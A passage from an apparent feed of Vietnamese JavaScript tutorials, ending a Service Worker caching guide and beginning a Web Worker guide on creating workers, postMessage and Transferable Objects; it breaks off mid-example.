string">"fetch"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Skip cross-origin requests, like those for Google Analytics.</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">.</span>url<span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>location<span class="token punctuation">.</span>origin<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> event<span class="token punctuation">.</span><span class="token function">respondWith</span><span class="token punctuation">(</span> caches<span class="token punctuation">.</span><span class="token function">match</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cachedResponse</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cachedResponse<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> cachedResponse<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> caches<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token constant">RUNTIME</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">cache</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">fetch</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Put a copy of the response in the runtime cache.</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>event<span class="token punctuation">.</span>request<span class="token punctuation">,</span> response<span class="token punctuation">.</span><span class="token function">clone</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> response<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn code trên có thể mô tả thành lời như sau:</p> <p><strong>Bước 1:</strong> Khi có request từ phía client (trình duyệt): Nếu url không thuộc cùng origin (không cùng trang web) thì bỏ qua.</p> <p><strong>Bước 2:</strong> Ngược lại, kiểm tra trong bộ nhớ đệm cache xem đã có response tương ứng với request chưa. Nếu tồn tại, thì trả về response đó cho trình duyệt.</p> <p><strong>Bước 3:</strong> Ngược lại, gửi request đó lên server, rồi lấy response trả về.</p> <p><strong>Bước 4:</strong> Clone response đó và lưu vào <strong>RUNTIME</strong> cache để phục vụ cho lần request tiếp theo, rồi sau đó trả về response đó cho trình duyệt.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là những kiến thức cơ bản về JavaScript Service Worker mà mình tìm hiểu được, và còn rất nhiều vấn đề liên quan khác cần nghiên cứu thêm.</p> <p>Đến đây có thể đã giải đáp được cho vấn đề đưa ra ở đầu bài viết: c<em>ó 2 thứ cần thiết để web app có thể chạy được là: resources (html, js, css, ảnh,...) và định tuyến</em>.</p> <ul> <li>Dùng listener <strong>install</strong> và <strong>activate</strong> để lưu resources vào bộ nhớ đệm cache.</li> <li>Dùng listener <strong>fetch</strong> để định tuyến.</li> </ul> <p>Nếu bạn có <strong>thắc mắc</strong> gì, vui lòng để lại bình luận để mọi người có thể cùng trao đổi. Mình không hứa là sẽ giải đáp ngay cho bạn. Nhưng mình hứa sẽ tìm hiểu để giải quyết cùng bạn.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/anh-nine-patch-scale-khong-vo-trong-javascript/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li> <li><a href="https://developers.google.com/web/fundamentals/primers/service-workers/">Service Workers: an Introduction</a></li> <li><a href="https://developers.google.com/web/ilt/pwa/introduction-to-service-worker">Introduction to Service Worker</a></li> <li><a href="https://serviceworke.rs/">Service Worker CookBook</a></li> <li><a href="https://developers.google.com/web/fundamentals/codelabs/offline/">Adding a Service Worker and Offline into your Web App</a></li> <li><a href="https://github.com/w3c/ServiceWorker/blob/master/explainer.md">Service Worker Explainer</a></li> </ul>[email protected]<![CDATA[JavaScript Web Worker - chạy JavaScript ở background]]><![CDATA[Có thể bạn thừa biết, JavaScript là một ngôn ngữ chạy đơn luồng. Điều đó có nghĩa là nếu bạn thực hiện một tác vụ quá lớn trên giao diện chính thì khả năng cao là giao diện sẽ bị…]]>https://completejavascript.com/javascript-web-worker-javascript-o-background/https://completejavascript.com/javascript-web-worker-javascript-o-background/<![CDATA[Event]]>Fri, 01 Sep 2017 14:34:12 GMT<p>Có thể bạn thừa biết, JavaScript là một ngôn ngữ chạy <a href="https://www.red-gate.com/simple-talk/dotnet/asp-net/javascript-single-threaded">đơn luồng</a>. Điều đó có nghĩa là nếu bạn thực hiện một tác vụ quá lớn trên giao diện chính thì khả năng cao là giao diện sẽ bị đơ. Để giải quyết vấn đề này, JavaScript đã đưa ra một khái niệm là Worker. Vậy JavaScript Web Worker là gì và dùng nó như thế nào? Chúng ta sẽ cùng nhau tìm hiểu sau đây.</p> <h2 id="javascript-web-worker-là-gì" style="position:relative;"><a href="#javascript-web-worker-l%C3%A0-g%C3%AC" aria-label="javascript web worker là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript Web Worker là gì?</h2> <p>Web Worker là một phương tiện đơn giản giúp cho trang web có thể chạy JavaScipt ở background. Luồng này có thể chạy mà không can thiệp gì đến giao diện chính. Một khi đã được khởi tạo, Worker có thể giao tiếp với luồng chính thông qua việc gửi và nhận message.</p> <p>Vì vậy, khi áp dụng JavaScript Web Worker một cách chính xác và phù hợp, trang web của bạn sẽ hoạt động mượt mà hơn rất nhiều.</p> <h2 id="cách-sử-dụng-javascript-web-worker" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-javascript-web-worker" aria-label="cách sử dụng javascript web worker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng JavaScript Web Worker</h2> <h3 id="kiểm-tra-trình-duyệt-có-hỗ-trợ-web-worker-hay-không" style="position:relative;"><a href="#ki%E1%BB%83m-tra-tr%C3%ACnh-duy%E1%BB%87t-c%C3%B3-h%E1%BB%97-tr%E1%BB%A3-web-worker-hay-kh%C3%B4ng" aria-label="kiểm tra trình duyệt có hỗ trợ web worker hay không permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra trình duyệt có hỗ trợ Web Worker hay không</h3> <p>Để kiểm tra xem trình duyệt bạn đang sử dụng có hỗ trợ JavaScript Web Worker hay không, bạn có thể sử dụng <strong>typeof</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> Worker <span class="token operator">!==</span> <span class="token string">"undefined"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Có hỗ trợ JavaScript Web Worker</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// Không hỗ trợ JavaScript Web Worker</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="tạo-file-javascript-cho-web-worker" style="position:relative;"><a href="#t%E1%BA%A1o-file-javascript-cho-web-worker" aria-label="tạo file javascript cho web worker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo file JavaScript cho Web Worker</h3> <p>Một ví dụ đơn giản cho file JavaScript Web Worker:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">10000000000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">%</span> <span class="token number">1000000000</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token function">postMessage</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> self<span class="token punctuation">.</span><span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">msg</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Được gọi khi có message gửi từ luồng chính</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <h3 id="khởi-tạo-web-worker" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-web-worker" aria-label="khởi tạo web worker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Web Worker</h3> <p>Giả sử bạn đã tạo một file <strong>web_worker.js</strong>. Để khởi tạo Web Worker, bạn làm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> w<span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">startWorker</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Kiểm tra xem trình duyệt có hỗ trợ JavaScript Web Worker</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> Worker <span class="token operator">!==</span> <span class="token string">"undefined"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Kiểm tra đối tượng Web Worker đã được khởi tạo hay chưa</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> w <span class="token operator">==</span> <span class="token string">"undefined"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Khởi tạo Web Worker</span> w <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Worker</span><span class="token punctuation">(</span><span class="token string">"web_worker.js"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> w<span class="token punctuation">.</span><span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Được gọi khi có message từ Web Worker gửi đến</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> w<span class="token punctuation">.</span><span class="token function-variable function">onerror</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Khi có lỗi xảy ra với Web Worker</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// Trình duyệt không hỗ trợ JavaScript Web Worker</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Bạn thấy sau khi khởi tạo JavaScript Web Worker, ta có thể implement hai <a href="/ham-la-gi-ham-trong-javascript/">function</a> quan trọng là <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/onmessage">Worker.onmessage</a> và <a href="https://developer.mozilla.org/en-US/docs/Web/API/AbstractWorker/onerror">Worker.onerror</a> để xử lý <a href="/xu-ly-mot-event-javascript-co-ban/">event</a>.</p> <p>Trong đó, <strong>Worker.onerror</strong> được gọi khi có lỗi với Web Worker sau khi khởi tạo. Và <strong>Worker.onmessage</strong> được gọi khi có message từ Worker Thread lên giao diện chính.</p> <h3 id="dừng-web-worker" style="position:relative;"><a href="#d%E1%BB%ABng-web-worker" aria-label="dừng web worker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dừng Web Worker</h3> <p>Sau khi khởi tạo Web Worker thì code JavaScript ở background sẽ chạy. Để dừng Web Worker lại, bạn có thể sử dụng phương thức <strong>terminate()</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">w<span class="token punctuation">.</span><span class="token function">terminate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="giao-tiếp-giữa-web-worker-ở-luồng-chính-và-background" style="position:relative;"><a href="#giao-ti%E1%BA%BFp-gi%E1%BB%AFa-web-worker-%E1%BB%9F-lu%E1%BB%93ng-ch%C3%ADnh-v%C3%A0-background" aria-label="giao tiếp giữa web worker ở luồng chính và background permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giao tiếp giữa Web Worker ở luồng chính và background</h3> <p>Để có thể thực hiện được điều này, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage"><strong>postMessage()</strong></a>, ở cả hai phía luồng chính và background. Khi đó, hàm <strong>onmessage()</strong> sẽ được gọi ở đầu còn lại.</p> <p>Đối với hàm <strong>postMessage()</strong> sẽ có hai cách sử dụng:</p> <ul> <li>Truyền đi message thông thường.</li> <li>Sử dụng Transferable Object</li> </ul> <h4 id="truyền-message-thông-thường" style="position:relative;"><a href="#truy%E1%BB%81n-message-th%C3%B4ng-th%C6%B0%E1%BB%9Dng" aria-label="truyền message thông thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Truyền Message thông thường</h4> <p>Trong phương pháp này, tham số truyền vào sẽ là một <a href="/object-la-gi-object-trong-javascript/">object</a>. Dữ liệu sẽ được copy từ phía gửi sang phía nhận.</p> <p>Ví dụ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">startWorker</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> myWorker <span class="token operator">!=</span> <span class="token string">"undefined"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> myWorker<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">cmd</span><span class="token operator">:</span> <span class="token string">"start"</span><span class="token punctuation">,</span> <span class="token literal-property property">msg</span><span class="token operator">:</span> <span class="token string">"hello"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token punctuation">,</span> <span class="token string">"Worker is undefined."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Ở đây object gửi đi sẽ là <strong>{cmd : 'start', msg : 'hello'}</strong>. Thực tế, object ở đây có thể là bất kì kiểu dữ liệu nào: <a href="/kieu-du-lieu-trong-javascript/">Number, String, Boolean</a>, <a href="/array-la-gi-array-trong-javascript/">Array</a>.</p> <p>Và ở Worker Thread, hàm <strong>onmessage</strong> sẽ được gọi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">self<span class="token punctuation">.</span><span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleMessage</span><span class="token punctuation">(</span>event<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">handleMessage</span><span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token string">"[Worker]"</span><span class="token punctuation">,</span> <span class="token string">"Worker Thread receives command: "</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>cmd<span class="token punctuation">,</span> event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>msg <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>cmd <span class="token operator">==</span> <span class="token string">"start"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">10000000000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">%</span> <span class="token number">1000000000</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">cmd</span><span class="token operator">:</span> <span class="token string">"resp"</span><span class="token punctuation">,</span> <span class="token literal-property property">msg</span><span class="token operator">:</span> i <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>cmd <span class="token operator">==</span> <span class="token string">"stop"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">cmd</span><span class="token operator">:</span> <span class="token string">"stop"</span><span class="token punctuation">,</span> <span class="token literal-property property">msg</span><span class="token operator">:</span> <span class="token string">"Good Bye!"</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> self<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Object nhận được từ phía giao diện chính sẽ được lấy từ <strong>data</strong> trong <strong>event</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> <span class="token string">"[Worker]"</span><span class="token punctuation">,</span> <span class="token string">"Worker Thread receives command: "</span><span class="token punctuation">,</span> event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>cmd<span class="token punctuation">,</span> event<span class="token punctuation">.</span>data<span class="token punctuation">.</span>msg <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => [Worker] Worker Thread receives command: start hello</span></code></pre></div> <p>Để test chức năng này, mình có chuẩn bị một ví dụ nhỏ trên <a href="https://github.com/completejavascript/web-worker-test">Github</a> và <a href="https://codepen.io/completejavascript/pen/vpRvgm">codepen</a> mà bạn có thể tham khảo.</p> <p>Cách này có một nhược điểm là nếu như bạn gửi dữ liệu lớn, chẳng hạn 500MB, thì sau khi gửi đi, nó sẽ được sao chép. Vì vậy, tổng dữ liệu chiếm sẽ là 500MB + 500MB = 1GB. Điều đó có thể dẫn đến hết bộ nhớ cho phép. Để khắc phục tình trạng này, ta có thể sử dụng Transferable Object như sau.</p> <h4 id="sử-dụng-transferable-object" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-transferable-object" aria-label="sử dụng transferable object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Transferable Object</h4> <p>Khi sử dụng <a href="https://developers.google.com/web/updates/2011/12/Transferable-Objects-Lightning-Fast">Transferable Object</a>, dữ liệu được chuyển toàn bộ từ phía gửi sang phía nhận. Dung lượng dữ liệu phía gửi sẽ bị xóa về 0.</p> <p><a href="https://github.com/completejavascript/web-worker-transferable-object">Ví dụ</a>:</p> <p>Phía Main Thread:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">startWorker</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> myWorker <span class="token operator">!=</span> <span class="token string">"undefined"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> arrBuf1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> arrBuf2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">100000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token punctuation">,</span> <span class="token string">"Before Transfering:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"[Main]"</span><span class="token 